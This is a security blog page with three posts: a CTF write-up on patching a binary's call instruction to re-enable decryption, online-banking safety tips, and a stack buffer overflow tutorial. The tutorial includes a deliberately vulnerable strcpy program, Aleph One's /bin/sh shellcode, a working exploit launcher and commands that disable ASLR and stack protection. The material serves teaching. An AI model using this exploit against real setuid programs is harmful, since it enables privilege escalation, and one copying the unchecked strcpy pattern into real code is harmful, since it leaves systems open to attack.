Pages

Showing posts with label Security. Show all posts
Showing posts with label Security. Show all posts

July 18, 2013

Modifying a Binary File?

In this post I will be talking about how I cracked one of the CTF challenges during the final semester in my university. The CTF competition was part of the Network Security course and was held for two days over a weekend in spring. Those two days were one of the most exciting times I have spent in front of a computer. The adrenaline rush of solving problems and getting points awarded is something that only the participants will know about.

So, coming to the challenge I'm talking about. Given were: a program binary that provides encryption/decryption services, an encrypted message and the key that was used to encrypt the message. The challenge was to decrypt the encrypted message. But.... Decryption capability in the program binary was disabled! The program took the following command line arguments "Usage: ./crypt INPUT-FILE OUTPUT-FILE KEY (DECRYPT|ENCRYPT)". So if we mentioned "DECRYPT" it would output "NO DECRYPT ENABLED !!!". Okay, so I opened up the GNU debugger gdb. Started stepping through code to see where the command line arguments were processed. I observed that the function names were still preserved, although they were mangled because the C++ compiler implements name mangling. There were two functions, '_Z7decryptSsSs' and '_Z7encryptSsSs' apart from the 'main' function. Stepping one instruction at a time through the main function I found the code where the command line argument was being checked for DECRYPT/ENCRYPT. Here it is:

Observe that the code is checking only whether the fifth argument's first character is 'D' or not. D is hex 44h. So if it is 'D' then register al is set and then the stack variable at [ebp-0x239] is also copied the value of al. The code then checks whether this value is zero, meaning 'E' was the first character of the fifth parameter, and then jumps based on this comparison. If the jump is not taken then the code calls std::cout to print the "NO DECRYPT ENABLED !!!" message and exits. When "ENCRYPT" was passed, jump was taken and the stack variable [ebp-0x236] was being used further down in the code when the decision was made to call either _Z7encryptSsSs() or _Z7decryptSsSs(). So the basic steps the code was taking is shown in this pseudo-code:

main()
{
  // x = ebp-0x239
  al = (argv[4][1] == 'D')? 1 : 0;
  x = al;
  if(x == 0) goto do_not_exit;
  std::cout << "NO DECRYPT ENABLED !!!\n";
  exit_program

  do_not_exit:
  read input file
  read key file
  open output file
  if(x == 1)
    call _Z7decryptSsSs()
  else
    call _Z7encryptSsSs()
  exit_program
}

As you can see there are two places where the control flow changes. Two ideas came to my mind on that day.

  1. Control the stack variable 'x' so that the correct branches are taken even though "DECRYPT" is passed.
  2. Change the binary file so that the call to the encrypt() function gets replaced with a call to the decrypt() function.
I chose the first option since it was easier. However I didn't quite succeed because the [ebp-0x239] was being over-written when some library functions were called. GDB has the functionality that enables you to monitor a memory location and break whenever a read/write operation is performed from/to that memory location. I tried using this but got tangled up in multiple places where this memory area was accessed. It was taking too much time. I then thought of the second option. For changing the binary file, all I had to do was to modify the target of the call instruction to point to the decrypt function instead of the encrypt function. The intel call instruction takes the target as an offset which means the call instruction simply does this to call a function: EIP = EIP+offset. See the disassembly below:

The call instruction at 0x080494ee is "e3 e1 f8 ff ff". Call opcode is 0xe3 and the code_offset is 0xfffff8e1. All we have to do is replace the immediate value 0xfffff8e1 by the new offset 0xfffffa1b. This will be the new offset that the call instruction will use. Simple enough right? Well... sort of. This binary was a 32bit ELF binary. We can use "objdump -h" to find out the offset of important sections of a binary file. What we are interested in is the offset of the .text section. The output of "objdump -h" (only .text information shown here):

The text section starts at offset 0xd20 in the binary file and its virtual address is 0x08048d20. The call instruction is at 0x08484ee. So, 0x08494ee - 0x08048d20 = 0x7ce. This is the distance between in the start of text section and the call to encryption routine instruction. Therefore, the call instruction is at offset 0xd20 + 0x7ce = 0x14ee in the binary file. The call instruction format is "opcode(1byte) code_offset(4bytes)". So we have to replace the integer(4bytes) at offset 0x14ee+1 with 0xfffffa1b. I wrote a program to do this by memory-mapping the binary and replacing the code_offset. Of course, we can simple open the file, seek to 0x14ee+1 and write an integer there but the reason I used memory mapping is because I wanted to see if I was modifying the correct place in the binary file and memory-mapping enables you to do this easily since you can view the file contents in the memory window of a debugger. Small snippet of the code to make the modification:

WCHAR *szFile = L"C:\\Users\\Shishir\\CTF\\kes\\crypt";
WCHAR *szOutFile = L"C:\\Users\\Shishir\\CTF\\kes\\crypt_new";
HANDLE hFile = NULL, hFileObj = NULL, hFileView = NULL;

DWORD dwFileSize = 0;

wprintf_s(L"Using input file: %s\n", szFile);

if( ! fOpenAndMapFile(szFile, &hFile, &hFileObj, 
        &hFileView, &dwFileSize) )
{
  wprintf_s(L"Error opening input file\n");
  return 1;
}

unsigned char *fptr = (unsigned char*)hFileView;

// Seek to offset where the call instruction's code_offset is
fptr += 0x14ee + 1;
    
unsigned int *iptr = (unsigned int*)fptr;
int old_data = *iptr;
int new_data = 0xfffffa1b;
*iptr = new_data;

Once this was done, I took the new modified binary and did an objdump of it and the call instruction at 0x08494ee was pointing to the decryption routine _Z7decryptSsSs() now!! Note the virtual address, 0x080494ee, is where the call instruction is in the following modified code and in the previous screenshot.

Executed the program by giving "ENCRYPT" as the fifth argument and got the decrypted message in the output file! Now, this was possible because the decryption and encryption routines both had the same function signatures - same arguments especially - so the code that setup arguments on the stack before the call to _Z7encryptSsSs() did not have to be changed.

Well, after submitting the flag and getting rewarded handsomely with points, I spoke to a fellow student who did it in a different, more easier, way. GDB allows you to control the contents of any register during debugging. So all you have to do is to make sure you break the program before each of the branching decision points and change the value of EIP register so that the correct branch is taken even though you specify "DECRYPT" at the command line. Anyway, it was fun playing around with gdb, objdump and the binary file even though my method was more complicated!

This actually brings us to the topic of packers. A packer, in the context of computers and security, is a program that can compress and/or encrypt a binary file that is provided as input. This is how many of today's software programs are distributed in order to protect Intellectual Property. The compressed/encrypted binary is the one that is distributed to consumers. This supposedly prevents competitors and crackers from reverse engineering the binary and stealing the code implemented by a company. You might ask how the OS manages to run these 'packed' programs. When a binary file is packed, the unpacker is included as part of the final output of the packer. So executing the output binary file actually first invokes the unpacker which has the logic and information to unpack - decompress and/or decrypt - the rest of the binary and then execute the unpacked program. The unpacked program is usually run by creating a child process by the unpacker. UPX is a popular open-source packer.

Even with packed a binary, we can still read the original code although it is a little more difficult. This difficulty arises because many packers are clever enough to not unpack everything at once. Unpacking may be done 'on-demand' and in-memory. So the challenge now is to determine when the unpacking process is finished and at this point we can dump the process's memory to disk for later analysis. The dump will hopefully have the whole binary in unpacked form to facilitate disassembly. This is why one must never ever depend on the fact that the source code will never be leaked. Remember, security through obscurity never works. The topic of packers and techniques for anti-packing and vice-versa is very interesting. I will write about it may be in a later post. That's it for now!

May 23, 2013

Online Banking Safety

Online banking is getting more and more popular these days and it is not without reason that it is so pervasive. As the world goes towards higher levels of connectivity, online banking looks like a very convenient, easy-to-use option for many of the internet connected individuals all over the world. It is here to stay for a long time to come. However, as is with everything else on the internet, online banking has its own set of security issues and problems. Most people are still in the dark about these issues and have no clue about the dangers of carrying out online banking. See this blog for a proof-of-concept that shows how even the two-factor authentication mechanism, used by banks to verify customers online, can be bypassed. There are a couple of popular malicious software kits that can be used to carry out attacks against online banking customers - Zeus, SpyEye and their mobile phone counterparts ZitMo and SpitMo.

In this post, I will enumerate the important things you can do to stay safe while continuing use of online banking. These points must be followed apart from the general security tips like keeping software up-to-date and having an up-to-date antivirus software. I will keep this post short and will not go into detailed explanation of each step. Keep in mind that security and usability are inversely proportional and as such you must give up usability to a certain extent in order to have an increased level of security. On any day I would go in for more security than usability because that would give me peace of mind!

--[ System/OS Security ]--
Although the browser is the program you use to access banking websites, it is the underlying Operating System and related softwares that must be secured first because no matter how secure the browser is, a keylogger can capture your typed-in password even before it reaches your browser.

  • Having a squeaky clean OS before accessing your bank's website is a must. This means the computer must have no trace of any malicious programs such as trojans, viruses and backdoors. Bootkits pose a more serious problem but I'll leave it for another blog post.
  • The people at Software Protection Initiative have come out with a lightweight Linux based OS that boots from a CD or USB-stick every time. Since the OS can only be booted from the live CD or USB-stick, it is ensured that each session starts in a trusted state. No malware ever gets 'installed' on the system. Simply restarting the system enables you to start from a clean state. Download the latest ISO image here. Read more about the OS here.
  • One disadvantage of using this is the issue of having to reboot/boot your machine after inserting the live CD or USB-stick. An easier but less secure option is to boot this OS inside a Virtual Machine(VM). I have personally used Oracle's VirtualBox to boot this OS and it works just fine. The reason this option is less secure is because the host-OS (the OS on which the VM runs) cannot be trusted - a keylogger installed in the host-OS can still capture your keystrokes.
  • Always boot a new session immediately before accessing your banks' websites. The LPS OS comes installed with Firefox for browsing. Also, this Firefox comes with the HTTPS-Everywhere plugin that enforces use of the secure HTTP protocol(HTTPS) whenever available.

--[ Browser Security ]--
The browser is the main software program that you use to access your bank website and from which you perform various things - checking account balance, transferring funds, adding peer accounts and so on. Having a secure browsing environment is a must and everyone should make this a priority.

If you choose not to use the live CD/USB option, then you must at least have a secure browser software, apart from having up-to-date antivirus and other up-to-date software patches.

  • First of all, we must try to use the secure version of HTTP, i.e., HTTPS, for all websites that offer it. In order to make this easy for users, the Electronic Frontier Foundation have come up with a plug-in for Firefox and Chrome web-browsers - HTTPS Everywhere. This plug-in tries to enforce the use of HTTPS versions of websites for all websites that offer the secure versions. This ensures that the connection between your browser and bank server is encrypted(confidential) from attackers in the network.
  • Second, preventing malwares from being installed on your system. Most malwares get installed via drive-by downloads which enable installation of malware on a user's computer without his/her knowledge. Install the plug-in NoScript for Mozilla Firefox and ScriptSafe for Google Chrome. These scripts block javascript, IFrames, XSS and other attack vectors.
  • Since Java has been the most favored base for exploits by attackers, please disable the Java plugin in your browsers. In Firefox, go to Tools > Add-Ons > Plugins and disable the Java SE and Java Deployment Toolkit plugins. In Chrome, enter "chrome://plugins/" in the address bar and click 'Disable' for the Java plugin. For other browsers see here. You can even disable the Shockwave Flash plugin the same way since most bank websites do not use flash content.
  • Keep an eye on the address bar of your browser for any abnormalities in the website address. Depending on the font used, two characters may look alike but point to very different websites - GOOGLE.COM vs. G00GLE.COM, PAYPAI.COM vs. PAYPAl.COM, rnicrosoft.com vs. microsoft.com. If a website address appears to be different, copy the address into the notepad application and choose a monospace font such as Courier New. Using this font, you can clearly see the difference between characters. You must do this even for links before you click them. Copy the target website address of a hyperlink to notepad and perform the same verification.
  • Type the complete website address starting from 'https' manually and do not reach your bank website by clicking on any link. This ensures that you reach the intended website only.
  • Use two different browsers - one solely for online banking purposes and the other for anything else you do on the internet. The one you use for online banking purposes must be completely secure using the above mentioned use of plugins.

May 22, 2013

Stack-buffer Overflow Vulnerability

We read about many many malwares that are causing havoc in today's computers. How do they get into a computer in the first place? Memory vulnerabilities are one of the main ways in which a malware exploits the target computer.

The goal of any malware writer is to somehow get his malicious code to be executed on the victim computer. There are two ways to go about doing this. One way is to make the user himself execute the malicious executable, for example, using a phishing email that asks the user to open a malicious attachment. However, the malicious code often will have to be executed with elevated privileges, like an admin account, so that it can perform its evil deeds. In this case, the malware writer can choose to inject his code into a running process that already has admin privileges and causes the CPU to execute the injected code when the victim process is running. So the malicious code also has admin privileges. This requires that the victim process take some user input through which the malicious code can be injected into the victim process. For this to work properly, there are two phases – Code Injection and Instruction Pointer hijacking. Code Injection is when the malicious code is inserted into the victim process's memory by supplying the code – shell code – as user input that is unfiltered, and Instruction Pointer hijacking is the process of making the instruction pointer register (EIP) point to the injected malicious code. IP hijacking is also called Control Flow hijacking because the program's control flow is being redirected to the injected code.

Code Injection is pretty straight forward because many programs take input from the user without filtering them for malicious content. The programs take the input and place it somewhere in memory – stack or heap. From here on, the task of the malware writer is to ensure that the CPU executes this injected code somewhere in the near future by modifying the contents of the EIP register.

To understand how EIP can be modified, we first need to understand the memory layout of a process. There are 4 basic sections in a process's memory – text, data, heap and stack. In most systems the stack always grows down, i.e., two nested function calls means that function1's frame will be at a higher address than function2's frame – eg., 0xff88 vs. 0xff18. This doesn't mean that an array allocated on the stack also grows downwards! For example, an array whose base address is 0xff20 with a size of 20 bytes will have the last element at 0xff34 and NOT at 0xff06. A very good article about process memory layout is Anatomy of a program in memory. So basically when a function is called the return address is stored on the stackby the caller. When the callee returns the saved address is popped off the stack into the EIP so CPU continues executing inside the caller. If we can modify this saved return address value then we are indirectly controlling the EIP.

--[ Stack Buffer Overflow ]--
This is the most basic vulnerability to understand and exploit. What is surprising is that this basic attack was discovered in the 1990s and is still being used for exploits. A simple google search will yield multiple results about recent attacks. I will use the following program to explain the vulnerability.

// stack_vuln.exe
void foo(char *user_str)
{
    char local_str[64];
    strcpy(local_str, user_str);
}

int main(int argc, char *argv[])
{
    if(argc!=2) 
    { printf(“usage: %s <in_string>\n”, argv[0]); return 1; }
    foo(argv[1]);
    return 0;
}

User input is supplied via command line arguments and is passed to the function foo() by main(). foo() has a local char array of size 64, i.e., allocated on the stack. It simply copies the contents of the formal parameter *str to the local char array using strcpy(). Remember that strcpy() is very unsafe to use because it performs no boundary checking – very easy to overwrite the destination buffer. This vulnerability is what is being exploited now. Let's look at the stack when control is inside foo() just before executing the call instruction to strcpy().

When strcpy() is passed the address of local_str as destination buffer, it copies the contents of user_str to local_str until a '\0' is encountered. Now, if the source buffer contains a '\0' within the first 64 bytes, everything is fine. But if the length of the source buffer is 72 bytes, it overflows the destination buffer and overwrites the saved EBP and ret_addr. When foo() executes the return instruction, ret_addr is popped off the stack and into the EIP. So if the value of ret_addr can be modified, EIP can thus be controlled.

So how is this exploitable? A classic exploit is to have the remote machine open up a shell for the attacker. We can use Aleph One's shell code as our payload which is 46 bytes in size. The buffer overflow vuln is the attack vector with shell obtaining code as the payload. We now have the shell code but we must still come up with an exploit string that we give as input to the vulnerable program. The exploit string should be like this:

/*
 *         ** Exploit string layout **
 *
 * 0 1 2 3 ... 21  |  22 23 ... 67  |  68 69 70 71
 *      NOPs          shell_code     sip overwrite addr
 *
 */

  • We have a 64 byte vulnerable buffer on the stack and we have to write 72 bytes so that the saved EIP is overwritten.
  • We have 72-46-4 = 22 bytes extra space in the exploit string. We will use this to hold NOPs (0x90 instruction) to be used as a landing area. Index 0-21 will hold NOPs.
  • We store the shell code just behind the EIP overwrite address. Index 22-67 will hold the shell code.
  • The last 4 bytes will overwrite the saved EIP so the exploit strings's last 4 byte values must be the address of the start of our shell code. This is calculated by determing the address of the vulnerable buffer on the stack by running stack_vuln.exe in a debugger.
  • This exploit string will be supplied as the first argument to stack_vuln.exe program.

An example exploit string construction may be as follows. Assuming that the vulnerable local_str[] buffer starts at 0xbffffc28, we choose 0xbffffc2e as the target EIP address, we come up with the exploit string below. See, also, how it lines up in the stack area. The saved EIP ret_addr gets overwritten by 0xbffffc2e.

We execute stack_vuln.exe using the execve() system call as follows:

// shellcode from Aleph One's article
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char szExploit[64+4+4];  // 4 for sfp and 4 for sip
int iBufAddr = 0xbffffc2e;

int main()
{  
  char *args[3];
  char *env[1];
  int i, iSCStartIndex, *iptr;

  args[0] = "stack_vuln.exe"; 
  args[1] = szExploit;
  args[2] = NULL;
  env[0] = NULL;

  memset(szExploit, 0x90, sizeof(szExploit)); // set NOPs

  iSCStartIndex = 22;
  for(i = 0; i < sizeof(shellcode)-1; ++i)
    szExploit[iSCStartIndex++] = shellcode[i];

  // Place jump-to-exploit address at the end of our exploit string
  iptr = (int*)(szExploit+68);
  *iptr = iBufAddr;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

So stack_vuln.exe is exec'd with our exploit string as argv[1] and strcpy() copies this string to the stack buffer local_str and overwrites saved EIP. Finally when the ret instruction is executed in foo(), it takes the overwritten value, 0xbffffc2e, and copies it to the EIP register and CPU will now start executing from this address which has NOPs followed by the shellcode. We now get a new shell opened up for us. If we need a root shell then the target program executable must have setuid(sticky bit set) so that it runs with effective user ID as root(=0).

Caveats:

  • The exploit string must not contain a NULL byte (value 00) because strcpy() and any other string functions will not copy past the NULL byte.
  • The stack address changes a little bit when the target program is run under a debugger and when run by itself. I have seen a difference of 32bytes, i.e., local_str was at an address 32bytes lower on the stack when run in a debugger. So you must compensate for this in your exploit string.
  • Ofcourse, modern operating systems and compilers come with protection against this attack – ASLR, NX bits and stack protection. These must be disabled if you want to try this out(commands specific to Linux).
    • Disabling ASLR: sudo echo 0 > /proc/sys/kernel/randomize_va_space
    • Removing stack protection: Compile with -fno-stack-protector -z execstack